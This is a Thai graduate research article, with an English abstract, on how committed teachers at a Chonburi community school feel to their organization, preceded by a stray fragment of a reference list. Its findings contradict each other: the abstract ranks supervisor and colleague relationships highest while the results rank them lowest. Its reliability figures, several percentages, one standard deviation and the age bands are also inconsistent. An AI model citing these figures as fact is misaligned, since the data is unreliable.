Burnes, B. (2009). Managing change (5th ed.). Pearson Education.

Herzberg, F. (1959). The motivation to work. John Wiley & Sons.

Teece, D. J. (2010). Business models, business strategy and innovation. Long Range

Planning, 43(2–3), 172–194.

Senge, P. M. (2006). The fifth discipline: The art and practice of the learning

organization (Revised and updated ed.). Doubleday.

Senge, P. M. (1990). The fifth discipline: The art and practice of the learning

organization. Doubleday/Currency.

]]> ความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้วอำเภอบางละมุง จังหวัดชลบุรี https://modernkrirkuniversity.com/2025/10/01/%e0%b8%84%e0%b8%a7%e0%b8%b2%e0%b8%a1%e0%b8%9c%e0%b8%b9%e0%b8%81%e0%b8%9e%e0%b8%b1%e0%b8%99%e0%b8%95%e0%b9%88%e0%b8%ad%e0%b8%ad%e0%b8%87%e0%b8%84%e0%b9%8c%e0%b8%81%e0%b8%a3%e0%b8%82%e0%b8%ad%e0%b8%87-2/ Wed, 01 Oct 2025 04:03:57 +0000 https://modernkrirkuniversity.com/?p=30012 Organizational Commitment of Teachers at Wat Khao Mai Kaew Community

School,Bang Lamung District, Chonburi Province

ความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้วอำเภอบางละมุง จังหวัดชลบุรี

Organizational Commitment of Teachers at Wat Khao Mai Kaew Community

School,Bang Lamung District, Chonburi Province

อุดร  ภักสุวรรณ

Udon haksuwan

อาจารย์ที่ปรึกษา ดร.จิตรกร ลากุล

คณะศิลปศาสตร์ มหาวิทยาลัยเกริก

Graduate students of Master of Arts Faculty of Liberal Arts, Krirk University

บทคัดย่อ

การวิจัยครั้งนี้มีวัตถุประสงค์เพื่อ 1) ศึกษาระดับความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรี และ 2) เปรียบเทียบระดับความผูกพันต่อองค์กรของครู จำแนกตามลักษณะส่วนบุคคล ได้แก่ เพศ อายุ สถานภาพสมรส และระดับการศึกษา โดยใช้วิธีวิจัยเชิงปริมาณ กลุ่มตัวอย่างคือครูจำนวน 52 คน ซึ่งได้มาจากการสุ่มแบบเจาะจง (Purposive Sampling) เครื่องมือที่ใช้ในการวิจัยเป็นแบบสอบถามที่ผ่านการตรวจสอบความตรงเชิงเนื้อหา และมีค่าความเชื่อมั่น (Reliability) เท่ากับ .78 วิเคราะห์ข้อมูลโดยใช้สถิติเชิงพรรณนา ได้แก่ ค่าเฉลี่ย และส่วนเบี่ยงเบนมาตรฐาน รวมถึงสถิติเชิงอนุมาน ได้แก่ t-test และ ANOVA

ผลการวิจัยพบว่า ระดับความผูกพันต่อองค์กรของครูโดยรวมอยู่ในระดับสูง โดยปัจจัยที่มีค่าเฉลี่ยสูงที่สุดคือ ความสัมพันธ์ระหว่างผู้บังคับบัญชาและเพื่อนร่วมงาน รองลงมาคือ ความมั่นคงและความมีชื่อเสียงของโรงเรียน และ ความสมดุลระหว่างการทำงานและชีวิตส่วนตัว ในขณะที่ปัจจัยด้าน ค่าตอบแทนและสวัสดิการ มีระดับต่ำที่สุด นอกจากนี้ผลการวิเคราะห์เปรียบเทียบพบว่า ครูที่มีลักษณะส่วนบุคคลแตกต่างกันบางกลุ่มมีความผูกพันต่อองค์กรแตกต่างกันอย่างมีนัยสำคัญทางสถิติ โดยเฉพาะในด้านอายุ และระดับการศึกษา

ข้อเสนอแนะจากผลการวิจัย ได้แก่ ผู้บริหารควรส่งเสริมบรรยากาศการทำงานที่เอื้อต่อความสัมพันธ์ในโรงเรียน และปรับปรุงระบบค่าตอบแทนและสวัสดิการให้เหมาะสม เพื่อเสริมสร้างความผูกพันของครูต่อองค์การอย่างยั่งยืน

คำสำคัญ: ความผูกพันต่อองค์การ, ครู, โรงเรียนชุมชน, ลักษณะส่วนบุคคล, การบริหารทรัพยากร  มนุษย์

Abstract

This research aimed to: (1) study the level of organizational commitment among teachers at Wat Khao Mai Kaew Community School, Bang Lamung District, Chonburi Province, and (2) compare the levels of organizational commitment among teachers classified by personal factors including gender, age, marital status, and educational level. The study employed a quantitative research methodology. The sample consisted of 52 teachers selected through purposive sampling. The research instrument was a structured questionnaire that was validated for content and yielded a reliability coefficient of .78. Data were analyzed using descriptive statistics—mean and standard deviation—as well as inferential statistics, including independent samples t-test and one-way ANOVA.

The research findings revealed that the overall level of organizational commitment among teachers was at a high level. The dimension with the highest mean score was “relationships with supervisors and colleagues,” followed by “school stability and reputation” and “work-life balance,” respectively. In contrast, the dimension with the lowest mean score was “compensation and welfare.” Furthermore, the analysis indicated that there were statistically significant differences in organizational commitment based on certain personal factors, especially age and educational level.

The study recommends that school administrators should create a more supportive and collaborative working environment, particularly by strengthening interpersonal relationships among staff and improving compensation and welfare systems. These improvements would enhance teachers’ motivation and long-term commitment to the organization. Emphasizing professional growth and a sense of belonging may also contribute to sustaining a strong and loyal teaching workforce.

Keywords: Organizational Commitment, Teachers, Community School, Personal Factors, Human Resource Management

บทนำ

            ระบบการศึกษาในศตวรรษที่ 21 กำลังเผชิญกับการเปลี่ยนแปลงอย่างรวดเร็วในทุกมิติ ไม่ว่าจะเป็นการเปลี่ยนแปลงด้านเทคโนโลยีสารสนเทศ การเปลี่ยนแปลงโครงสร้างประชากร ความคาดหวังของผู้ปกครอง และความต้องการของตลาดแรงงาน ซึ่งทำให้บทบาทของสถานศึกษาไม่อาจจำกัดอยู่เพียงแค่การถ่ายทอดองค์ความรู้ แต่จำเป็นต้องพัฒนา ทุนมนุษย์ ที่มีความสามารถรอบด้านเพื่อรองรับบริบทโลกที่ซับซ้อนและท้าทายมากขึ้น ในบริบทเช่นนี้ ครู จึงเป็นหัวใจของกระบวนการพัฒนาการศึกษา เพราะเป็นผู้ที่ส่งผ่านองค์ความรู้ ทักษะ และค่านิยมที่สำคัญสู่ผู้เรียนอย่างเป็นระบบและต่อเนื่องอย่างไรก็ตาม การบริหารจัดการทรัพยากรมนุษย์ในสถานศึกษากลับประสบปัญหาสำคัญในหลายพื้นที่ เช่น การขาดแคลนครูที่มีคุณภาพ การลาออกกลางคัน การไม่สามารถรักษาบุคลากรไว้ได้ และการเกิดภาวะหมดไฟในการทำงาน (Burnout) ซึ่งล้วนมีสาเหตุหลักประการหนึ่งมาจาก “ระดับความผูกพันต่อองค์กร” ที่ลดลง ปัญหาดังกล่าวส่งผลกระทบเป็นลูกโซ่ต่อคุณภาพการเรียนการสอนและผลสัมฤทธิ์ทางการศึกษาของนักเรียนอย่างหลีกเลี่ยงไม่ได้การบริหารทรัพยากรมนุษย์ในโรงเรียนจึงควรมุ่งเน้นการพัฒนาให้ครูรู้สึกมีคุณค่า มีโอกาสเติบโต และเป็นส่วนหนึ่งของความสำเร็จขององค์การ ซึ่งเป็นแนวคิดที่สอดคล้องกับทฤษฎีของ Fayol (1949) และ Taylor (1911) ที่เน้นการจัดการองค์การอย่างมีประสิทธิภาพผ่านหลักการวางแผน การจัดระเบียบ และการควบคุมงานอย่างเป็นระบบ ประกอบกับการส่งเสริมการเรียนรู้ตลอดชีวิต (London, 2014) เพื่อเพิ่มศักยภาพครูอย่างต่อเนื่องดังนั้น ความผูกพันต่อองค์กรของครูจึงไม่ใช่เรื่องของบุคคลเพียงลำพัง แต่เป็นผลลัพธ์ของการออกแบบระบบการจัดการ ทรัพยากร และภาวะผู้นำในสถานศึกษาอย่างรอบด้าน (Robbins & Judge, 2019) งานวิจัยฉบับนี้จึงมุ่งศึกษาความผูกพันต่อองค์การของครู โดยมีเป้าหมายเพื่อวิเคราะห์ระดับความผูกพัน ปัจจัยที่เกี่ยวข้อง และแนวทางในการส่งเสริมความยั่งยืนของบุคลากรในวิชาชีพครู ซึ่งผลการวิจัยจะเป็นประโยชน์ต่อผู้บริหารสถานศึกษาในการวางแผนพัฒนาทรัพยากรมนุษย์ให้สอดคล้องกับเป้าหมายขององค์กรอย่างแท้จริง ความผูกพันต่อองค์กร จึงเป็นประเด็นที่ได้รับความสนใจอย่างมากในแวดวงพฤติกรรมองค์การ เพราะสะท้อนถึงความรู้สึกเป็นเจ้าของ ความภักดี และความตั้งใจในการทำงานให้กับองค์การโดยไม่หวังเพียงค่าตอบแทนทางวัตถุเท่านั้น หากแต่รวมถึงคุณค่าในเชิงจิตใจและความเชื่อมโยงเชิงความหมายที่บุคลากรรู้สึกว่าตนเองเป็นส่วนหนึ่งของภารกิจและเป้าหมายขององค์กร ความรู้สึกเช่นนี้เองเป็นพลังขับเคลื่อนที่สำคัญในการสร้างแรงจูงใจภายใน เพิ่มความพยายามในการทำงาน และลดพฤติกรรมเชิงลบ เช่น การขาดงาน การไม่ร่วมมือ หรือการลาออกโดยไม่จำเป็น ในวิชาชีพครู ความผูกพันต่อองค์กรมีความสำคัญยิ่งกว่าในอาชีพอื่น เนื่องจากลักษณะของงานครูมิใช่เพียงการถ่ายทอดความรู้ แต่ยังครอบคลุมถึงการดูแล พัฒนา และส่งเสริมผู้เรียนในทุกมิติ ความผูกพันของครูจึงส่งผลโดยตรงต่อคุณภาพของความสัมพันธ์ระหว่างครูกับนักเรียน วิธีการสอน และความต่อเนื่องของการจัดกิจกรรมการเรียนรู้ หากครูขาดความผูกพันต่อสถานศึกษา ย่อมเกิดภาวะเฉื่อยชา ไม่กระตือรือร้น ขาดการพัฒนาตนเอง ซึ่งท้ายที่สุดจะบั่นทอนศักยภาพของผู้เรียน และลดทอนคุณภาพของระบบการศึกษาโดยรวมอีกทั้ง ความผูกพันยังเชื่อมโยงกับบริบทการบริหารจัดการภายในโรงเรียนในหลายระดับ เช่น ลักษณะภาวะผู้นำของผู้บริหาร การมีส่วนร่วมในการตัดสินใจของครู ความโปร่งใสในการประเมินผล การให้ความสำคัญกับความก้าวหน้าในสายอาชีพ ตลอดจนบรรยากาศในการทำงานที่เอื้อต่อการเรียนรู้และการแบ่งปันความรู้ในหมู่ครูด้วยกัน ซึ่งหากโรงเรียนสามารถออกแบบระบบการบริหารจัดการที่มีคุณภาพ ก็จะช่วยเสริมสร้างความรู้สึกมั่นคงและภาคภูมิใจในอาชีพครู อันจะนำไปสู่การยกระดับความผูกพันอย่างยั่งยืนในทางปฏิบัติ การส่งเสริมความผูกพันของครูจำเป็นต้องอาศัยกลยุทธ์หลายด้านควบคู่กัน ไม่ว่าจะเป็นการพัฒนาทางวิชาชีพ การสนับสนุนด้านสวัสดิการ การเปิดโอกาสให้ครูมีส่วนร่วมในนโยบายโรงเรียน การสร้างวัฒนธรรมองค์กรที่เน้นความร่วมมือ ความเสมอภาค และการสื่อสารอย่างมีประสิทธิภาพ สิ่งเหล่านี้จะทำให้ครูรู้สึกว่า ตนเองมีคุณค่า และ มีที่ยืน ในองค์กร ซึ่งเป็นจุดเริ่มต้นของการเกิดความผูกพันเชิงบวกในระยะยาว

จากประเด็นทั้งหมดที่กล่าวมา ทำให้เห็นได้ชัดว่า การศึกษาเรื่อง ความผูกพันต่อองค์กรของครู มีความสำคัญอย่างยิ่ง ไม่เพียงแต่เพื่อการเข้าใจกลไกภายในเชิงจิตวิทยาและการบริหารงานบุคคลเท่านั้น แต่ยังมีนัยยะในเชิงนโยบายที่จะสามารถนำไปใช้ในการวางแผนพัฒนาทรัพยากรมนุษย์ของสถานศึกษาให้มีประสิทธิภาพยิ่งขึ้น งานวิจัยฉบับนี้จึงมุ่งศึกษาเรื่องความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรี รวมถึงการวิเคราะห์ปัจจัยส่วนบุคคลที่ส่งผลต่อความผูกพันดังกล่าว โดยหวังให้ผลลัพธ์ของงานวิจัยสามารถใช้เป็นข้อมูลอ้างอิงสำหรับผู้บริหารสถานศึกษาในการออกแบบนโยบาย พัฒนาระบบสนับสนุน และสร้างกลยุทธ์การรักษาครูที่มีคุณภาพไว้กับองค์การอย่างยั่งยืนในอนาคต

วัตถุประสงค์ของการวิจัย

1 เพื่อศึกษาระดับความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอ           บางละมุง จังหวัดชลบุรี

2 เพื่อเปรียบเทียบระดับความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรี จำแนกตามลักษณะส่วนบุคคล

ประโยชน์ที่ได้รับ

            1. สร้างองค์ความรู้เกี่ยวกับระดับความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรี ซึ่งสามารถนำไปใช้เป็นข้อมูลพื้นฐานสำหรับการศึกษาและพัฒนาการบริหารจัดการทรัพยากรมนุษย์ในสถานศึกษา

2. ผลการวิจัยจะเป็นแนวทางให้ผู้บริหารสถานศึกษาเข้าใจปัจจัยที่มีผลต่อความผูกพันต่อองค์กรของครู เพื่อสามารถวางแผนและกำหนดนโยบายหรือกลยุทธ์ในการส่งเสริมความผูกพันต่อองค์กรให้เหมาะสมกับลักษณะส่วนบุคคลของครูในโรงเรียน

            3. ข้อมูลที่ได้สามารถนำไปใช้ประกอบการพัฒนาหลักสูตรอบรม หรือกิจกรรมที่ช่วยเพิ่มความผูกพันและสร้างแรงจูงใจในการทำงานของครู ส่งผลให้การทำงานของครูมีประสิทธิภาพและเกิดความยั่งยืนในการปฏิบัติหน้าที่

กรอบแนวคิดสำหรับการวิจัย

ภาพประกอบ 1 กรอบแนวคิดในการวิจัย

วิธีดำเนินการวิจัย

การวิจัยนี้ใช้ระเบียบวิธีวิจัยใช้แบบสอบถาม เก็บข้อมูลเชิงปริมาณ ในการดำเนินการวิจัยครั้งนี้ สร้างเครื่องมือโดยดำเนินการ ดังนี้ 1 ศึกษาเอกสารและงานวิจัยที่เกี่ยวข้อง เพื่อรวบรวมข้อมูล และรายละเอียดต่าง ๆ ถึง วิธีทำการวิจัยแนวคิดและทฤษฎี และผลงานวิจัยที่เกี่ยวข้องกับตัวแปรที่ศึกษา 2 นำข้อมูลที่ได้จากการศึกษามาจัดทำแบบสอบถาม 3 นำแบบสอบถามที่จัดทำเสร็จแล้วเสนออาจารย์ที่ปรึกษา เพื่อตรวจสอบและทำการปรับปรุงแก้ไขข้อผิดพลาด 4 ตรวจสอบความเที่ยงตรง 5 นำแบบสอบถามที่ปรับปรุงแล้วไปทดสอบใช้ (Try out) กับประชาชนที่ไม่ใช่กลุ่ม ตัวอย่าง จำนวน 30 คน แล้วนำไปวิเคราะห์ค่าความเชื่อมั่น (Reliability) ของแบบสอบถาม โดยใช้วิธีหาค่าสัมประสิทธิ์แอลฟ่าของครอนบัค (Cronbach) ได้ค่าเท่ากับ .89

ประชากรและกลุ่มตัวอย่าง

ประชากรในการศึกษาเป็นครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรี เก็บข้อมูล จำนวน 55 คนแบ่งเป็นชายจำนวน 25 คน หญิงจำนวน 30 คน  กลุ่มตัวอย่างที่ใช้ในการวิจัย เป็นครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรีคำนวณขนาดตัวอย่างโดยใช้สูตรของเครจซี่และมอร์แกน ที่ระดับความเชื่อมั่นร้อยละ 95 ได้ขนาดตัวอย่างจำนวน 52 คน แบ่งตามสัดส่วนได้ ชาย จำนวน 24คน หญิง 28 คน 

การเก็บรวบรวมข้อมูล

ผู้วิจัยได้ดำเนินการเก็บรวบรวมข้อมูลตามขั้นตอน ดังนี้ 1 ผู้วิจัยได้ดำเนินการเก็บรวบรวมข้อมูล โดยเลือกการสุ่มกลุ่มตัวอย่างที่ไม่ใช้ความน่าจะเป็น (Non-probability Sampling) (เก็บข้อมูลจากภายในหน่วยงานแบบเจาะจงผู้ตอบ) 2 นำข้อมูลของแบบสอบถาม ไปลงตารางโปรแกรมสำเร็จรูป  สถิติที่ใช้ในการวิเคราะห์ข้อมูลการวิจัยครั้งนี้ ได้ใช้สถิติเพื่อวิเคราะห์ข้อมูล ได้แก่ 1 สถิติร้อยละ ค่าเฉลี่ย ค่าเบี่ยงเบนมาตรฐาน การทดสอบค่าเฉลี่ยด้วย t-test 2 เปรียบเทียบความแตกต่างระหว่างค่าเฉลี่ยของกลุ่มตัวอย่างมากกว่า 2 กลุ่ม โดยใช้การวิเคราะห์ความแปรปรวนทางเดียว (One-Way ANOVA) ในกรณีที่มีความแตกต่างกันอย่างมีนัยสำคัญ ใช้ LSD ในการเปรียบเทียบรายคู่

การวิเคราะห์ข้อมูล

ดำเนินการวิเคราะห์ข้อมูลตามขั้นตอน และรายละเอียด ดังต่อไปนี้

1 ตรวจสอบความถูกต้องของแบบสอบถามที่ได้รับกลับคืนมา

2 นำแบบสอบถามมาลงตารางตามเกณฑ์ที่กำหนด

3 ข้อมูลด้วยคอมพิวเตอร์โดยใช้โปรแกรมสำเร็จรูป โดยวิเคราะห์ข้อมูล ดังนี้

1 ข้อมูลสถานภาพของผู้ตอบแบบสอบถาม ตอนที่ 1 ใช้การหาค่าความถี่ และ ค่าร้อยละ

2 วิเคราะห์ข้อมูลโดยใช้ ค่าเฉลี่ย และค่าความเบี่ยงเบนมาตรฐาน (S.D)

3 เปรียบเทียบระดับความผูกพันต่อองค์กรของครูจำแนกตามเพศโดยการทดสอบค่า (t-test Independent) .

4 เปรียบเทียบระดับความผูกพันต่อองค์กรของครูในแต่ละด้านจำแนกตาม อายุ ระดับการศึกษา สถานภาพ รายได้ต่อเดือน เพื่อทดสอบความแตกต่างระหว่างค่าเฉลี่ยของกลุ่มตัวอย่างมากกว่า 2 กลุ่มขึ้นไป โดยใช้การวิเคราะห์ความแปรปรวนทางเดียว (One-way ANOVA)

ผลการวิจัย

พบว่ากลุ่มตัวอย่างที่เป็นครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรีเป็นเพศชาย จำนวน 24 คน คิดเป็นร้อยละ 46.15 เพศหญิง จำนวน 28 คน คิดเป็นร้อยละ 53.85 ส่วนใหญ่มีอายุอยู่ระหว่าง 41 – 50 ปี จำนวน 18 คน คิดเป็นร้อยละ 34.62 มีอายุอยู่ระหว่าง 30 – 40 ปี จำนวน 14 คน คิดเป็นร้อยละ 14 มีอายุน้อยกว่า 40 ปี จำนวน 12 คน คิดเป็นร้อยละ 23.08 และน้อยที่สุดมีอายุมากกว่า 50 ปี ขึ้นไป จำนวน 8 คน คิดเป็นร้อยละ 15.38 กลุ่มตัวอย่างสมรสแล้ว จำนวน 38 คน คิดเป็นร้อยละ 38 รองลงมาเป็นโสด จำนวน 8 คน คิดเป็นร้อยละ 8 และน้อยที่สุดเป็นหม้าย/หย่าร้าง จำนวน 6 คน คิดเป็นร้อยละ 11.54 กลุ่มตัวอย่างจบการศึกษาระดับปริญญาตรี จำนวน 35 คน คิดเป็นร้อยละ 67.31 รองลงมาจบการศึกษาระดับสูงกว่าปริญญาตรี จำนวน 10 คน คิดเป็นร้อยละ 19.23 และน้อยที่สุดจบการศึกษาระดับต่ำกว่าปริญญาตรี จำนวน 7 คน คิดเป็นร้อยละ 13.46 ส่วนใหญ่มีรายได้ต่อเดือนน้อยกว่า 20,000 บาท จำนวน 18 คน คิดเป็นร้อยละ 34.62 รองลงมามีรายได้ต่อเดือนอยู่ระหว่าง 20,000 – 25,000 บาท จำนวน 16 คน คิดเป็นร้อยละ 30.77 และน้อยที่สุดมีรายได้ต่อเดือนมากกว่า 30,000 บาท ขึ้นไป จำนวน 4 คน คิดเป็นร้อยละ 7.69 ผลการวิเคราะห์ความผูกพันต่อองค์กร พบว่าค่าเฉลี่ยความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรี โดยภาพรวมอยู่ในระดับมาก ( =3.76, S.D.= 0.32)  เมื่อพิจารณารายด้านกลุ่มตัวอย่างเห็นว่าความสมดุลระหว่างที่ทำงานและชีวิตส่วนตัว เป็นปัจจัยที่ส่งผลต่อความผูกพันต่อองค์กรมากกว่าด้านอื่น ๆ ( =4.30, S.D.= 0.50) รองลงมาคือสภาพแวดล้อมในการทำงาน ( =4.03, S.D.= 0.61) และน้อยที่สุดคือความสัมพันธ์ระหว่างผู้บังคับบัญชาและเพื่อนร่วมงาน ( =3.29, S.D.= 0.57)  เมื่อพิจารณารรายด้านพบว่าค่าเฉลี่ยความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรีด้านค่าตอบแทบและสวัสดิการ โดยภาพรวมอยู่ในระดับมาก ( =3.53, S.D.= 0.67)  เมื่อพิจารณารายประเด็นคำถามกลุ่มตัวอย่างเห็นว่าโรงเรียนของท่านมีการจัดสวัสดิการเพื่อความมั่นคงทางการเงินของครู เช่น การประกันสังคม การประกันชีวิต เป็นปัจจัยที่ส่งผลต่อความผูกพันต่อองค์กรด้านค่าตอบแทบและสวัสดิการมากกว่าประเด็นคำถามอื่น ( =4.25, S.D.= 4.25) รองลงมาคือครูได้รับเงินเดือนที่เพียงพอจะจัดหาสิ่งจำเป็นสำหรับตนเอง และครอบครัว ( =3.65, S.D.= 0.48) และปัจจัยที่ส่งผลต่อความผูกพันต่อองค์กรในด้านนี้น้อยที่สุดคือรายได้ที่ครูได้รับเมื่อเปรียบเทียบกับโรงเรียนอื่นมีความเหมาะสม ( =2.87, S.D.= 0.86) ค่าเฉลี่ยความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรี ด้านสภาพแวดล้อมในการทำงาน โดยภาพรวมอยู่ในระดับมาก ( =4.03, S.D.= 0.61)  เมื่อพิจารณารายประเด็นคำถามกลุ่มตัวอย่างเห็นว่าระบบรักษาความปลอดภัยในโรงเรียนมีความเข้มงวดและมีประสิทธิภาพ เป็นปัจจัยที่ส่งผลต่อความผูกพันต่อองค์กรด้านสภาพแวดล้อมในการทำงานมากกว่าประเด็นคำถามอื่น ( =4.35, S.D.= 0.88) รองลงมาคือโรงเรียนของท่านมีข้อกำหนดมาตรฐานสภาพแวดล้อมการทำงานให้เหมาะสมกับครู ( =4.27, S.D.= 0.95) และปัจจัยที่ส่งผลต่อความผูกพันต่อองค์กรในด้านนี้น้อยที่สุดคือโรงเรียนของท่านมีวัสดุอุปกรณ์ เครื่องมือเครื่องใช้ในการปฏิบัติงานที่ทันสมัยและครบครัน ( =3.50, S.D.= 0.70) ค่าเฉลี่ยความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรี ด้านโอกาสในการพัฒนาตนเองและความก้าวหน้าในอนาคต โดยภาพรวมอยู่ในระดับมาก ( =3.42, S.D.= 0.47)  เมื่อพิจารณารายประเด็นคำถามกลุ่มตัวอย่างเห็นว่าท่านได้รับโอกาสในการพัฒนาตนเองจากองค์การ เช่น ส่งไปฝึกอบรมหลักสูตรต่าง ๆ เป็นปัจจัยที่ส่งผลต่อความผูกพันต่อองค์กรด้านโอกาสในการพัฒนาตนเองและความก้าวหน้าในอนาคตมากกว่าประเด็นคำถามอื่น ( =4.04, S.D.= 1.02) รองลงมาคือโรงเรียนของท่านเปิดโอกาสให้ท่านมีความก้าวหน้าในตำแหน่งหน้าที่การงาน ( =3.65, S.D.= 0.94) และปัจจัยที่ส่งผลต่อความผูกพันต่อองค์กรในด้านนี้น้อยที่สุดคือโรงเรียนของท่านพิจารณาความดีความชอบอย่างยุติธรรม ( =2.40, S.D.= 0.49) ค่าเฉลี่ยความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรีด้านความสัมพันธ์ระหว่างผู้บังคับบัญชาและเพื่อนร่วมงาน โดยภาพรวมอยู่ในระดับปานกลาง ( =3.29, S.D.= 0.57)  เมื่อพิจารณารายประเด็นคำถามกลุ่มตัวอย่างเห็นว่าทุกคนในโรงเรียนของท่านมีความสัมพันธ์กันอย่างราบรื่น ไม่มีปัญหาขัดแย้ง เป็นปัจจัยที่ส่งผลต่อความผูกพันต่อองค์กรด้านความสัมพันธ์ระหว่างผู้บังคับบัญชาและเพื่อนร่วมงานมากกว่าประเด็นคำถามอื่น ( =3.65, S.D.= 1.13) รองลงมาคือผู้บังคับบัญชาของท่านรับฟังความคิดเห็น และข้อเสนอแนะของท่าน ( =3.42, S.D.= 0.75) และปัจจัยที่ส่งผลต่อความผูกพันต่อองค์กรในด้านนี้น้อยที่สุดคือผู้บังคับบัญชาของท่านมีหลักเกณฑ์ในการพิจารณาผลงานที่แน่นอน ยุติธรรม ( =3.02, S.D.= 1.14) ค่าเฉลี่ยความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรีด้านความมั่นคงและความมีชื่อเสียงของโรงเรียน โดยภาพรวมอยู่ในระดับมาก ( =3.98, S.D.= 0.48)  เมื่อพิจารณารายประเด็นคำถามกลุ่มตัวอย่างเห็นว่าโรงเรียนของท่านมีความมั่นคง เป็นปัจจัยที่ส่งผลต่อความผูกพันต่อองค์กรด้านความมั่นคงและความมีชื่อเสียงของโรงเรียนมากกว่าประเด็นคำถามอื่น ( =4.77, S.D.= 0.45) รองลงมาคือท่านมีความเชื่อมั่นว่า ตราบที่ปฏิบัติติงานอย่างเต็มความสามารถและผลงานได้มาตรฐานก็จะสามารถทำงานที่นี่ได้ตลอดไป ( =4.27, S.D.= 0.89) และปัจจัยที่ส่งผลต่อความผูกพันต่อองค์กรในด้านนี้น้อยที่สุดคือโรงเรียนของท่านมีภาพพจน์เป็นที่เชื่อถือของบุคคลและสังคม ( =3.38, S.D.= 1.17) ค่าเฉลี่ยความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรีด้านความสมดุลระหว่างการที่ทำงานและชีวิตส่วนตัว โดยภาพรวมอยู่ในระดับมากที่สุด ( =4.30, S.D.= 0.50)  เมื่อพิจารณารายประเด็นคำถามกลุ่มตัวอย่างเห็นว่าท่านพอใจกับช่วงเวลาทำงานและช่วงเวลาว่างในแต่ละวัน เป็นปัจจัยที่ส่งผลต่อความผูกพันต่อองค์กรด้านความสมดุลระหว่างการที่ทำงานและชีวิตส่วนตัวมากกว่าประเด็นคำถามอื่น ( =4.77, S.D.= 0.42) รองลงมาคือท่านคิดว่าท่านบริหารจัดการกับงานที่ทำดีพอที่จะมีเวลาว่างจากงาน ( =4.33, S.D.= 0.81) และปัจจัยที่ส่งผลต่อความผูกพันต่อองค์กรในด้านนี้น้อยที่สุดคือท่านคิดว่า ทำงานกับโรงเรียนแล้ว ท่านมีความสมดุลระหว่างการทำงานและชีวิตส่วนตัว ( =3.85, S.D.= 0.99) เมื่อพิจารณาปัจจัยพื้นฐานส่วนบุคคลเรื่องอายุ พบว่ากลุ่มตัวอย่างที่มีอายุอยู่ระหว่าง 30 – 40 ปี กลุ่มตัวอย่างที่มีอายุอยู่ระหว่าง 41 – 50 ปี และกลุ่มตัวอย่างที่มีอายุมากกว่า 50 ปี ขึ้นไป มีความผูกพันต่อองค์กร โดยภาพรวมมีค่าเฉลี่ยอยู่ในระดับมากกว่าและเท่ากันช่วงอายุ ( =3.80, S.D.= 0.49 , S.D.= 0.253 และ S.D.= 0.10 ตามลำดับ) โดยเฉพาะด้านความสมดุลระหว่างการที่ทำงานและชีวิตส่วนตัว รองลงมาคือกลุ่มตัวอย่างที่มีอายุน้อยกว่า 30 ปี ( =3.63, S.D.= 0.26) โดยเฉพาะความสมดุลระหว่างการที่ทำงานและชีวิตส่วนตัว ส่วนด้านสถานภาพสมรสพบว่ากลุ่มตัวอย่างที่เป็นหม้าย/หย่าร้าง มีความผูกพันต่อองค์กร โดยภาพรวมมีค่าเฉลี่ยอยู่ในระดับมากกว่าช่วงสถานภาพสมรสอื่น ( =3.98, S.D.= 0.30) โดยเฉพาะความสมดุลระหว่างการที่ทำงานและชีวิตส่วนตัว รองลงมาคือกลุ่มตัวอย่างที่สมรสแล้ว ( =3.78, S.D.= 0.301) โดยเฉพาะด้านความสมดุลระหว่างการที่ทำงานและชีวิตส่วนตัว และน้อยที่สุดคือกลุ่มตัวอย่างที่เป็นโสด ( =3.49, S.D.= 0.32) โดยเฉพาะด้านความสัมพันธ์ระหว่างผู้บังคับบัญชาและเพื่อนร่วมงาน ส่วนด้านระดับการศึกษาพบว่ากลุ่มตัวอย่างที่จบการศึกษาระดับสูงกว่าปริญญาตรี มีความผูกพันต่อองค์กร โดยภาพรวมมีค่าเฉลี่ยอยู่ในระดับมากกว่าช่วงระดับการศึกษาอื่น ( =3.78, S.D.= 0.50) โดยเฉพาะความสมดุลระหว่างการที่ทำงานและชีวิตส่วนตัว รองลงมาคือกลุ่มตัวอย่างที่จบการศึกษาระดับปริญญาตรี ( =3.77, S.D.= 0.28) โดยเฉพาะด้านความสมดุลระหว่างการที่ทำงานและชีวิตส่วนตัว และน้อยที่สุดคือกลุ่มตัวอย่างที่จบการศึกษาระดับต่ำกว่าปริญญาตรี ( =3.68, S.D.= 0.20) โดยเฉพาะด้านโอกาสในการพัฒนาตนเองและความก้าวหน้าในอนาคต ส่วนด้านรายได้ต่อเดือนพบว่ากลุ่มตัวอย่างที่มีรายได้ต่อเดือนอยู่ระหว่าง 25,001 – 30,000 บาท มีความผูกพันต่อองค์กร โดยภาพรวมมีค่าเฉลี่ยอยู่ในระดับมากกว่าช่วงรายได้ต่อเดือนอื่น ( =4.03, S.D.= 0.20) โดยเฉพาะความสมดุลระหว่างการที่ทำงานและชีวิตส่วนตัว 